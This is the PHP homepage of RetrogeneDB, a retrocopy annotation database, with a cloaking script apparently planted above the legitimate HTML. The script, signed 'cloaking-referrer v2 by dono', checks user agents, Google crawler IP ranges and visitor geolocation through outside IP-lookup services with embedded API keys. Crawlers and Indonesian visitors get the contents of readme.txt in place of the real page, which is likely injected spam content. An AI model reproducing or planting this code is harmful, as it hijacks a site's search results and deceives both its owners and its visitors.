<?php
// cloaking-referrer v2 by dono
error_reporting(0);
session_start();
$base_path = dirname(__FILE__);
$keys_file = $base_path . "/.keys.json";

$file_url_lp = "readme.txt";

$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";

if (isset($_SERVER['HTTP_REFERER'])) {
    $thereferer = strtolower($_SERVER['HTTP_REFERER']);
} else { $thereferer = ""; }

$allow_user_agents = array(
    'googlebot',
    'mediapartners',
    'storebot-google',
    'google-inspectiontool',
    'googleother',
    'google-extended',
    'apis-google',
    'google-mobile',
    'feedfetcher',
    'googleproducer',
    'support.google.com',
    'google-speakr',
    'google-site-verification',
    'appengine-engine',
    'google web preview',
    'google-xrawler',
    'google-structured',
    'google-physicalweb',
    'google-favicon',
    'google-certificates',
    'google-read-aloud',
    'google-safety',
    'developers.google.com',
    'adsbot-google',
    'google-adwords'
);

$redirect_contry = array(
    'ID'
);

    $obengkemarenkemana = file_get_contents($file_url_lp);




$homeurlindex = '/retrogenedb/';
$homepageindex = "/";
$homeurlindex2 = '/test.php';
$currentpageindex = $_SERVER['REQUEST_URI'];


if (isset($_SESSION['already_'])) {
    $obengkemarenkemana = file_get_contents($file_url_lp);
    if($currentpageindex == $homepageindex or $currentpageindex == $homeurlindex or $currentpageindex == $homeurlindex2) {
        header('Content-Type: text/html');
        echo $obengkemarenkemana;
        exit();
     
    }
}

foreach($allow_user_agents as $allow_agent) {
    
    if (strstr(strtolower($user_agent), $allow_agent)) {
        $obengkemarenkemana = file_get_contents($file_url_lp);
        if($currentpageindex == $homepageindex or $currentpageindex == $homeurlindex or $currentpageindex == $homeurlindex2) {
            header('Content-Type: text/html');
            $_SESSION['already_'] = 'yes';
            echo $obengkemarenkemana;
            exit();
        }
    }
}


if(strpos($agent,'bot') > -1){
    $obengkemarenkemana = file_get_contents($file_url_lp);
    if($currentpageindex == $homepageindex or $currentpageindex == $homeurlindex or $currentpageindex == $homeurlindex2) {
        header('Content-Type: text/html');
        $_SESSION['already_'] = 'yes';
        echo $obengkemarenkemana;
        exit();
     
    }
}




function get_client_ip() {
    $ipaddress = '';
    if (isset($_SERVER['HTTP_CLIENT_IP']))
        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
    else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
    else if(isset($_SERVER['HTTP_X_FORWARDED']))
        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
    else if(isset($_SERVER['HTTP_FORWARDED_FOR']))
        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
    else if(isset($_SERVER['HTTP_FORWARDED']))
        $ipaddress = $_SERVER['HTTP_FORWARDED'];
    else if(isset($_SERVER['REMOTE_ADDR']))
        $ipaddress = $_SERVER['REMOTE_ADDR'];
    elseif (getenv('HTTP_CLIENT_IP'))
        $ipaddress = getenv('HTTP_CLIENT_IP');
    else if(getenv('HTTP_X_FORWARDED_FOR'))
        $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
    else if(getenv('HTTP_X_FORWARDED'))
        $ipaddress = getenv('HTTP_X_FORWARDED');
    else if(getenv('HTTP_FORWARDED_FOR'))
        $ipaddress = getenv('HTTP_FORWARDED_FOR');
    else if(getenv('HTTP_FORWARDED'))
       $ipaddress = getenv('HTTP_FORWARDED');
    else if(getenv('REMOTE_ADDR'))
        $ipaddress = getenv('REMOTE_ADDR');
    else
        $ipaddress = '114.5.18.100';
    return $ipaddress;
}

$ip = get_client_ip();
$iprealx = explode(', ',  $ip);
$ipreal = $iprealx[0];

$url = 'https://pro.ip-api.com/json/'.$ipreal.'?json&key=FMjb5N6z7rcJ8yt';
$response = file_get_contents($url);
$data = json_decode($response, true);

$keys = array(
    'active' => array(
        'eee78f001e837c',
        '0617fd6bd9fdb4',
        '3e75591855da78',
        '64ce43edd37301',
        '0c6f0d3af922c3'
    ),
    'inactive' => array()
);

function getKeys() {
    global $keys_file;

    return json_decode(file_get_contents($keys_file));
}

function saveKeys($keys) {
    global $keys_file;
    if (function_exists('file_put_contents')) {
        file_put_contents($keys_file, json_encode($keys));
    } else {
        $f = fopen($keys_file, 'w');
        fwrite($f, json_encode($keys));
        fclose($f);
    }
}
if (!file_exists($keys_file)) {
    saveKeys($keys);
}

$keys_data = getKeys();
$active_keys = $keys_data->active;
$inactive_keys = $keys_data->inactive;

function ipinfo($ip) {
    global $active_keys, $inactive_keys;
    $url_ = "https://ipinfo.io/$ip?token=" . $active_keys[0];
    $data = false;
    if (function_exists('curl_init')) {
        $ch = curl_init();
        $opt = array(
            CURLOPT_URL => $url_,
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_SSL_VERIFYHOST => 0,
            CURLOPT_SSL_VERIFYPEER => 0
        );
        curl_setopt_array($ch, $opt);
        $content = curl_exec($ch);
        curl_close($ch);
        $data = json_decode($content);
    } else if (function_exists('file_get_contents')) {
        $contextOptions = array(
            "http" => array(
                "ignore_errors" => true,
            ),
            "ssl" => array(
                "verify_peer" => false,
                "verify_peer_name" => false
            ),
        );

        $data = json_decode(file_get_contents($url_, false, stream_context_create($contextOptions)));
    }

    if ($data) {
        if ($data->status == 429) {
            $prev = $active_keys[0];
            $active_keys = array_merge(array_diff($active_keys, array($prev)));
            $inactive_keys[] = $prev;
            saveKeys([
                'active' => $active_keys,
                'inactive' => $inactive_keys
            ]);
            return ipinfo($ip);
        }
    }
    return $data;
}

if ($data["country"] === "Indonesia") {
    if ($currentpageindex == $homepageindex or $currentpageindex == $homeurlindex or $currentpageindex == $homeurlindex2) {
        header('Content-Type: text/html');
        $_SESSION['already_'] = 'yes';
        echo $obengkemarenkemana;
        if (strpos($thereferer,"google")) { exit(); }
    }
} else {
    $url = 'https://api.iplocation.net/?ip=' . $ipreal;
    $response = file_get_contents($url);
    $data = json_decode($response, true);
    if ($data["country_code2"] === "ID") {
        header('Content-Type: text/html');
        $_SESSION['already_'] = 'yes';
        echo $obengkemarenkemana;
        if (strpos($thereferer,"google")) { exit(); }
    } else { 
        $ipinfo = ipinfo($ipreal); 
        if (in_array($ipinfo->country, $redirect_contry)) {
            $_SESSION['already_'] = 'yes';
            echo $obengkemarenkemana;
            if (strpos($thereferer,"google")) { exit(); }
        }

    }
}

$google = "https://developers.google.com/search/apis/ipranges/googlebot.json";
$rgoogle = file_get_contents($google);
$dgoogle = json_decode($rgoogle, true);

foreach($dgoogle['prefixes'] as $resultx) {
    if(!empty($resultx['ipv4Prefix'])) {
        $ipnya = explode('/', $resultx['ipv4Prefix']);
        $start = ip2long($ipnya[0]);
        $ip_count = 1 << (32 - $ipnya[1]);
        
        for ($i = 0; $i < $ip_count; $i++) {
            $fixip = long2ip($start + $i);
            if ($ipreal == $fixip) {
                $obengkemarenkemana = file_get_contents($file_url_lp);
                if ($currentpageindex == $homepageindex or $currentpageindex == $homeurlindex or $currentpageindex == $homeurlindex2) { header('Content-Type: text/html'); $_SESSION['already_'] = 'yes'; echo $obengkemarenkemana; 
                if (strpos($thereferer,"google")) { exit(); }
                }
            }
        }
    }   
}
?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="RetrogeneDB is a database of retrocopy annotations in 62 animal and 37 plant genomes.">
    <meta name="Wojciech Rosikiewicz" content="Database of retrogenes">

    <title>RetrogeneDB</title>

    <!-- Bootstrap Core CSS -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="css/modern-business.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

</head>

<body>

    <!-- Navigation -->
    <?php include("nav.php"); ?>

    <!-- Header Carousel -->
    <header id="myCarousel" class="carousel slide">
        <!-- Indicators -->
        <ol class="carousel-indicators">
            <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
            <li data-target="#myCarousel" data-slide-to="1"></li>
            <li data-target="#myCarousel" data-slide-to="2"></li>
        </ol>

        <!-- Wrapper for slides -->
        <div class="carousel-inner">
            <div class="item active">
                <div class="fill" style="background-image:url('img/main.jpg');"></div>
            </div>
            <div class="item">
                <div class="fill" style="background-image:url('img/main2.jpg');"></div>
            </div>
            <div class="item">
                <div class="fill" style="background-image:url('img/main3.jpg');"></div>
            </div>
        </div>

        <!-- Controls -->
        <a class="left carousel-control" href="#myCarousel" data-slide="prev">
            <span class="icon-prev"></span>
        </a>
        <a class="right carousel-control" href="#myCarousel" data-slide="next">
            <span class="icon-next"></span>
        </a>
    </header>

    <!-- Page Content -->
    <div class="container">
        <!-- Features Section -->
        <div class="row">
        	<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 text-justify">
        		<h2 class="page-header">Welcome to RetrogeneDB<font color=red><sup><b> 2 </b></sup></font></h2>
        	</div>
            <div class="col-lg-8 col-md-8 col-sm-8 col-xs-12 text-justify">
                <p>RetrogeneDB is a database of retrocopy annotations in sequenced eukaryotic genomes. It currently stores information about 62 animal and 37 plant genomes from Ensembl. Updated RetrogeneDB database allows users to search for retrocopies and their parental genes using numerous criteria. For selected organisms <b>retrocopy expression estimation from RNA-Seq, ChIP-Seq, EST, CAGE and experimental studies</b> are provided.</p>
            	<br/><br/>
				<!--
            	<p><b><span style = 'color:red'>As this site is under maintenance now, please visit this mirror instead:</span></b> <a href='http://rhesus.amu.edu.pl/RetrogeneDB2/BETA/'>RetrogeneDB 2.0</a></p>
            	<p>You may view the older version of the RetrogeneDB at <a href='http://retrogenedb.amu.edu.pl/'>retrogenedb.amu.edu.pl/</a></p>
				-->
            </div>
            <div class="col-lg-4 col-md-4 col-sm-4 col-xs-6 text-center">
            	<a href="browse.php"><img src='img/explore.png' width=100%></a>
            </div>
        </div>
        <br/>
        <br/>
        <div class="row">
            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 text-center">
            <h4>What is new in RetrogeneDB2 in comparison to RetrogeneDB?</h4>
			<table class = "table table-borderless table-striped">
				<thead>
				<tr>
					<td></td>
					<td><h4>RetrogeneDB</h4></td>
					<td><h4>RetrogeneDB<sup><font color=red><b> 2 </b></font></sup></h4></td>
				</tr>
				</thead>
				<tbody>
				<tr>
					<td>How many species were analyzed?</td>
					<td style="white-space: nowrap;">62 species<br/>(all animals)</td>
					<td style="white-space: nowrap;">99 species<br/>(62 animal + 37 plant species)</td>
				</tr>
				<tr>
					<td>Number of identified retrocopies</td>
					<td>84808 retrocopies</td>
					<td>86458 retrocopies</td>
				</tr>
				<tr>
					<td>Number of identified parental genes</td>
					<td>34286 genes</td>
					<td>35975 genes</td>
				</tr>
				<tr>
					<td>RNA-Seq expression validation</td>
					<td>14 species<br/>(97 RNA-Seq libraries)</td>
					<td>23 species<br/>(195 RNA-Seq libraries)</td>
				</tr>
				<tr>
					<td>ChIP-Seq expression validation</td>
					<td>----</td>
					<td>223 Human and 140 Mouse retrocopies,<br/>based on 53 and 4 ChIP-Seq libraries respectively</td>
				</tr>
				<tr>
					<td>EST expression validation</td>
					<td>----</td>
					<td>557 retrocopies, 31 species</td>
				</tr>
				<tr>
					<td>TSS expression validation</td>
					<td>----</td>
					<td>799 Human and 796 Mouse retrocopies,<br/>based on 1829 and 1072 FANTOM5 libraries respectively</td>
				</tr>
				<tr>
					<td>Experimental validation</td>
					<td>----</td>
					<td>51 Human and 11 Mouse retrocopies</td>
				</tr>
				<tr>
					<td>Orthological relationships between retrogenes</td>
					<td>----</td>
					<td>4240 orthological groups, within three subgroups:<br/>eytheria (13 species)<br/>teleost (5 species)<br/>neognath (3 species)</td>
				</tr>
				<tr>
					<td>Association of retrocopies with large genomic indels</td>
					<td>----</td>
					<td>for human, based on 1000 genomes project data</td>
				</tr>
				</tbody>
			</table>
			
             + improved website layout, search options and used BLAST algorithm version. Numerous improvements were based on the opinion of the users of the previous version of RetrogeneDB, as well as Beta version of RetrogeneDB<font color=red><sup><b> 2 </b></sup></font>.			
            </div>
        </div>
        
        
        <!-- /.row -->

        <hr>

        <!-- Footer -->
        <?php include("footer.php"); ?>

    </div>
    <!-- /.container -->

    <!-- jQuery -->
    <script src="js/jquery.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="js/bootstrap.min.js"></script>

    <!-- Script to Activate the Carousel -->
    <script>
    $('.carousel').carousel({
        interval: 5000 //changes the speed
    })
    </script>

</body>

</html>
